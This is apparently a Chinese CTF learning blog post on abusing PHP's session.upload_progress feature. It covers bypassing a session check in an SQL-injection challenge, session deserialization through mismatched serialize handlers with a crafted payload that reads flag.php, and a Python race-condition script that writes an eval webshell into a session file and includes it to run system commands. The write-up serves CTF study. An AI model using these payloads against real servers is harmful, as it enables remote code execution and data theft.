这个东西让我印象挺深刻的(
最近一次接触还是在一道SQL注入的题目:
[PwnThyBytes2019] BabySQL 
由于login.php没有session存在的时候就不能访问,并且无法注入
所以这时候就需要我们自己创造一个session
所以session_upload_progress在这里就派上用场了
1 当session.upload_progress.enabled打开的时候(默认为On),我们传入PHP_SESSION_UPLOAD_PROGRESS的时候,php会执行session_start(),这个时候就会绕过没有session的限制 
 
然后我就想起来之前session反序列化的时候好像也是用这个session_upload_progress的
觉得这个东西挺有用的,就来学习一下
 
还有就是这个了(雾) 
 
 1.绕过!isset[$session]  
就是上面的引子引入的题目,不多赘述
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php !isset ($_SESSION ) AND die ("Direct access on this script is not allowed!" ); include  'db.php' ;$sql  = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="'  . $_GET ['username' ] . '" and password="'  . md5 ($_GET ['password' ]) . '";' ;$result  = $con ->query ($sql );function  auth ($user  ) {    $_SESSION ['username' ] = $user ;     return  True; } ($result ->num_rows > 0  AND $row  = $result ->fetch_assoc () AND $con ->close () AND auth ($row ['username' ]) AND die ('<meta http-equiv="refresh" content="0; url=?p=home" />' )) OR  ($con ->close () AND die ('Try again!' )); ?>      
 
 2.session反序列化  
session序列化/反序列化的默认引擎是php
但是如果php文件变成了:
1 2 <?php ini_set ('session.serialize_handler' ,'php_serialize' );
 
就将序列化的引擎改变了(php_serialize)
php引擎对于序列化的存储格式是:|serialized_string,而php_serialize引擎的存储格式是serialized_string,如果使用两个引擎分别处理的时候就会出现问题
这是因为php_serialize会将|当作正常字符来解析,生成session,php中会将|看作分隔符,解析session文件时会直接对|后的值进行反序列化处理(session_start())
如果存在两种不同的引擎的时候,就可以利用session_start()的自动反序列化传输数据
此时当浏览器向服务器上传一个文件时,php将会把文件上传的详细信息存储在session当中;只需往该地址POST一个名为PHP_SESSION_UPLOAD_PROGRESS的字段,就可以将文件名的值赋值到session中,进行session反序列化
前提当然是session.upload_progress.enabled为On
1 2 3 4 5 6 7 这个过程就是: 由于处理引擎使用和默认引擎的不同导致竖线(|)后面的数据可以被反序列化 使用php_serialize引擎生成的正常session(包含有序列化信息)在php引擎处会被session_start()自动序列化 session.upload_progress.enabled打开的时候会将文件信息存储在session中,此时只需POST一个PHP_SESSION_UPLOAD_PROGRESS的字段,就可以将文件名的值赋值到session中,进行session反序列化 
 
简单看一个以前做的题就知道了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php     ini_set ('session.serialize_handler' , 'php' ); 	     if (isset ($_POST ['source' ])){         highlight_file (__FILE__ );     phpinfo ();     die ();     }     error_reporting (0 );     include  "flag.php" ;     class  Game  {         public  $log ,$name ,$play ;         public  function  __construct ($name  ) {             $this ->name = $name ;             $this ->log = '/tmp/' .md5 ($name ).'.log' ;         }         public  function  play ($user_input ,$bot_input  ) {             $output  = array ('Rock' =>'✌🏻' ,'Paper' =>'✊🏻' ,'Scissors' =>'✋🏻' );             $this ->play = $user_input .$bot_input ;             if ($this ->play == "RockRock"  || $this ->play == "PaperPaper"  || $this ->play == "ScissorsScissors" ){                 file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." Draw</div>\n" ,FILE_APPEND);                 return  "Draw" ;             } else  if ($this ->play == "RockPaper"  || $this ->play == "PaperScissors"  || $this ->play == "ScissorsRock" ){                 file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." You Lose</div>\n" ,FILE_APPEND);                 return  "You Lose" ;             } else  if ($this ->play == "RockScissors"  || $this ->play == "PaperRock"  || $this ->play == "ScissorsPaper" ){                 file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." You Win</div>\n" ,FILE_APPEND);                 return  "You Win" ;             }         }         public  function  __destruct ( ) {                 echo  "<h5>Game History</h5>\n" ;         echo  "<div class='all_output'>\n" ;                 echo  file_get_contents ($this ->log);         echo  "</div>" ;         }     } ?> <?php     session_start ();     if (isset ($_POST ['name' ])){         $_SESSION ['name' ]=$_POST ['name' ];         $_SESSION ['win' ]=0 ;     }     if (!isset ($_SESSION ['name' ])){         ?>          <body>             <h5>Input your name :</h5>             <form method="post" >             <input type="text"  class ="result " name ="name "></input >             <button  type ="submit ">submit </button >             </form >         </body >         </html > <?php  exit ();     } ?> 
 
(ctfshow新手杯-石头剪刀布)
源码可以看到__destruct()魔术方法里file_get_contents()这一个危险的函数
可以想到用反序列化获取flag
虽然整个源码没有unserialize()函数,但是源码开头将序列化反序列化引擎设置为了php,通过phpinfo()可以看到默认处理器是php_serialize,且session.upload_progress.enabled已经打开
所以这里就可以通过尝试上传session进行反序列化
先进行反序列化,这个反序列化连我都能看得懂(
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class  Game  {        public   $log ="/var/www/html/flag.php" ;          public         $name =1 ;         public         $play ="" ; } $a =new  Game ();echo  serialize ($a );?> |O:4 :\"Game\":3:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";s:4:\"name\";i:1;s:4:\"play\";s:0:\"\";}  
 
然后post传个文件:
1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryg3k5hVdW6mTNQVxP 
 
1 2 3 4 5 6 7 8 9 10 ------WebKitFormBoundaryg3k5hVdW6mTNQVxP Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" aaaaaa ------WebKitFormBoundaryg3k5hVdW6mTNQVxP Content-Disposition: form-data; name="file"; filename="|O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}" Content-Type: text/plain ------WebKitFormBoundaryg3k5hVdW6mTNQVxP-- 
 
发包过去就好了
 3.文件包含  
1.如果session.auto_start=On的话,即使没有session_start()也会对session进行初始化,但是默认关闭
由于session.use_strict_mode默认值为0,导致用户可以自定义Session ID(Cookie: PHPSESSID= xxx)
这个时候PHP就会在服务器上创建一个文件/tmp/sess_xxx
这个时候PHP会自动初始化session,并且将文件名等内容写入sess_xxx文件中
其实就是这个:
1 2 upload_progress_NSSCTF{c6c326ee-fda7-4078-a6c0-c1feeca911b2} |a:5:{s:10:"start_time";i:1677673236;s:14:"content_length";i:277;s:15:"bytes_processed";i:277;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:9:"Err0r.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1677673236;s:15:"bytes_processed";i:0;}}} 
 
upload_progress_xxx 这个xxx其实就是命令执行之后的结果
然后序列化的结果就是文件的一些详细信息,包括文件名,上传时间等
也就是说如果我们此时包含了这个文件,这个文件写入了eval()的话就可以进行rce
但是由于session.upload_progress.cleanup = on使得上传的sess_xx会被立即清空,此时在session文件内容清空前包含即可
script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import  requestsimport  ioimport  threadingurl=''  sessid="Err0r"  def  write (session ):    filebytes = io.BytesIO(b'aaaa' *1024 *50 )     while  True :         res = session.post(url,          	data={                 'PHP_SESSION_UPLOAD_PROGRESS' :"<?php eval($_POST[1]);?>"                  },             cookies={                 'PHPSESSID' :sessid                 },             files={                 'file' :('Err0r.txt' ,filebytes)                 }             )          def  read (session ):    while  True :         res = session.post(url+"?file=/tmp/sess_" +sessid,                           data={                               "1" :"system('ls /');"                            },                           cookies={                               "PHPSESSID" :sessid                           }                           )         if  'Err0r.txt'  in  res.text:             print ("Success!" )             print (res.text)             break          else :             print ("Retry" ) if  __name__ == "__main__" :    event = threading.Event()     with  requests.session() as  session:         for  i in  range (5 ):             threading.Thread(target=write, args=(session,)).start()         for  i in  range (5 ):             threading.Thread(target=read, args=(session,)).start()     event.set ()      
 
如果是利用 burp 发包的话
你需要准备一个session的包(包含有PHPSESSID和PHP_SESSION_UPLOAD_PROGRESS的那个包),然后一个文件包含包(?file=/tmp/sess_id的那个)
同时发包,赶在sess_id文件清除之前访问即可